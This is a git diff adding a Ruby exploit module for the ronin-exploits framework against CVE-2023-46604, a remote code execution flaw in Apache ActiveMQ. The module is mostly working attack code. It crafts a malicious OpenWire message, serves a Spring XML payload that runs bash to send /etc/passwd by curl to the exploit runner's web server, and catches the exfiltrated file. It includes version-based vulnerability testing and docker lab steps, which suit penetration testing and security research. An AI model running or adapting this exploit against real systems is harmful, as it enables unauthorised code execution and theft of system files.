diff --git a/Gemfile b/Gemfile index fac8fae..07299e7 100644 --- a/Gemfile +++ b/Gemfile @@ -1,11 +1,12 @@ source 'https://rubygems.org' -gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core', - branch: '0.2.0' -gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads', - branch: '0.2.0' -gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits', - branch: '1.1.0' +gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core', + branch: '0.2.0' +gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads', + branch: '0.2.0' +gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits', + branch: '1.1.0' +gem 'ronin-web-server', '~> 0.1.1' group :development do gem 'rake', require: false diff --git a/exploits/activemq/CVE-2023-46604.rb b/exploits/activemq/CVE-2023-46604.rb new file mode 100755 index 0000000..16b96d4 --- /dev/null +++ b/exploits/activemq/CVE-2023-46604.rb @@ -0,0 +1,256 @@ +#!/usr/bin/env -S ronin-exploits run -f + +require "ronin/exploits/exploit" +require "ronin/exploits/mixins/remote_tcp" +require "ronin/support/binary/stream" +require "ronin/web/server" + +module Ronin + module Exploits + # + # This exploit is based on an examination the following prior art: + # + # * https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604 + # * https://github.com/Mudoleto/Broker_ApacheMQ + # * https://github.com/dcm2406/CVE-2023-46604 + # * https://github.com/mrpentst/CVE-2023-46604 + # + # The exploit has two steps: + # + # 1. send a crafted OpenWire message to the ActiveMQ server, which will cause the server to connect + # to a URL that may contain a malicious XML payload. + # 2. serve a malicious XML payload that will cause the server to execute arbitrary shell commands. + # + # ## Verification + # + # To verify against a vulnerable docker image: + # + # $ docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.2 + # $ ./exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 + # + # against a not-vulnerable docker image: + # + # $ docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.3 + # $ ./exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616 + # + # You can read more about that docker container at https://github.com/veita/cont-test-activemq + # + # ## Implementation details + # + # For details on OpenWire wire format see: + # + # * https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification + # * https://github.com/apache/activemq-openwire + # + class CVE_2023_46604 < Exploit + + include Mixins::RemoteTCP + + register "activemq/CVE-2023-46604" + + quality :poc + release_date "2024-05-03" + disclosure_date "2023-10-27" + advisory "CVE-2023-46604" + + author "Mike Dalessio", email: "mike.dalessio@gmail.com" + summary "Remote code execution in Apache ActiveMQ <5.15.16, <5.16.7, <5.17.6, <5.18.3" + description <<~DESC + The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This + vulnerability may allow a remote attacker with network access to either a Java-based + OpenWire broker or client to run arbitrary shell commands by manipulating serialized class + types in the OpenWire protocol to cause either the client or the broker (respectively) to + instantiate any class on the classpath. Users are recommended to upgrade both brokers and + clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue. + DESC + references [ + "https://nvd.nist.gov/vuln/detail/CVE-2023-46604", + "https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604", + "https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/shell.py", + "https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/config.xml", + "https://github.com/dcm2406/CVE-2023-46604", + "https://github.com/dcm2406/CVE-2023-46604/blob/master/exploit.py", + "https://github.com/dcm2406/CVE-2023-46604/blob/master/poc.xml", + "https://github.com/mrpentst/CVE-2023-46604", + "https://github.com/mrpentst/CVE-2023-46604/blob/main/exploit.py", + "https://github.com/mrpentst/CVE-2023-46604/blob/main/poc.xml" + ] + + # + # Test whether the target system is vulnerable. + # + # @return [Ronin::Exploits::TestResult::Vulnerable, + # Ronin::Exploits::TestResult::NotVulnerable, + # Ronin::Exploits::TestResult::Unknown] + # + def test + wireformat_message = nil + + tcp_connect do |socket| + socket.close_write + wireformat_message = socket.read + end + + unless (version = pluck_provider_version(wireformat_message)) + return Unknown("host is not reporting a provider version") + end + + print_info "Detected provider version: #{version}" + + version = Gem::Version.new(version) + if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) || + (version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) || + (version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) || + (version < Gem::Version.new("5.18.3") && version >= Gem::Version.new("5.18.0")) + Vulnerable("host is vulnerable to CVE-2023-46604") + else + NotVulnerable("host is not vulnerable to CVE-2023-46604") + end + end + + default_port 61616 + + param :web_host, default: "localhost", + desc: "A routable hostname for the exploit runner's web server" + + param :web_port, Integer, default: 1024 + rand(65535 - 1024), + desc: "A listen port for the exploit runner's web server" + + JAVA_CLASSNAME = "org.springframework.context.support.ClassPathXmlApplicationContext" + PROVIDER_VERSION = "ProviderVersion" + STRING_TYPE = 9 + + # + # Builds the malicious OpenWire ActiveMQ message and XML payload that will + # be served later. + # + def build + @web_host = params[:web_host] + @web_port = params[:web_port] + web_url = "http://#{@web_host}:#{@web_port}" + + buffer = Ronin::Support::Binary::Buffer.new(1024, endian: :net) + buffer.put_uint8(4, 0x1f) # EXCEPTION_RESPONSE + .put_uint8(14, 0x01) + + cursor = 15 + buffer.put_uint8(cursor, 0x01) + .put_uint16(cursor+1, JAVA_CLASSNAME.length) + .put_string(cursor+3, JAVA_CLASSNAME) + + cursor += 3 + JAVA_CLASSNAME.length + buffer.put_uint8(cursor, 0x01) + .put_uint16(cursor+1, web_url.length) + .put_string(cursor+3, web_url) + + cursor += 3 + web_url.length + buffer.put_uint32(0, cursor-4) + + @payload1 = buffer.to_s[0..cursor-1] + + @payload2 = <<~XML + + + + + + bash + -c + cat /etc/passwd | curl --data-binary @- #{web_url}/exfil + + + + + XML + end + + # + # Sends the malicious ActiveMQ OpenWire message and starts a web server, + # which hosts the XML payload and receives the exfiltrated file. + # + def launch + queue = Thread::Queue.new + exploit = self + injection = @payload2 + + @web_server = Ronin::Web.server do + set :bind, exploit.params[:web_host] + set :port, exploit.params[:web_port] + + get("/") do + exploit.print_info "Received HTTP request" + queue.push(:get) + injection + end + + post("/exfil") do + exploit.print_info "Received RCE exfiltration:" + puts + puts request.body.read + + queue.push(:exfil) + "" + end + + on_start do + queue.push(:start) + end + + on_stop do + queue.push(:stop) + end + end + queue.pop # :start + + print_info "Sending OpenWire payload:" + @payload1.hexdump + + tcp_send(@payload1) + + return if queue.pop == :stop # :get + return if queue.pop == :stop # :get + + queue.pop # :exfil + end + + # + # Shuts down the exploit's web server. + # + def cleanup + @web_server&.stop! + end + + private + + # + # Extracts the provider version from the ActiveMQ OpenWire message. + # + # We're taking the easy way out by not parsing the whole message, just finding the + # `ProviderVersion` property and pulling it out of the message. + # + # @return [String, nil] + # + def pluck_provider_version(message) + print_info "Extracting provider version from OpenWire WIREFORMAT message:" + message.hexdump + + unless (property_index = message.index(PROVIDER_VERSION)) + return + end + + offset = property_index + PROVIDER_VERSION.length + buffer = Support::Binary::Buffer.new(message.byteslice(offset..), endian: :net) + + ptype = buffer.get_byte(0) + fail("unknown primitive type #{ptype}, expected #{STRING_TYPE}") if ptype != STRING_TYPE + + plen = buffer.get_int16(1) + fail("unexpected string len #{plen}") if plen <= 0 + + buffer.get_string(3, plen) + end + end + end +end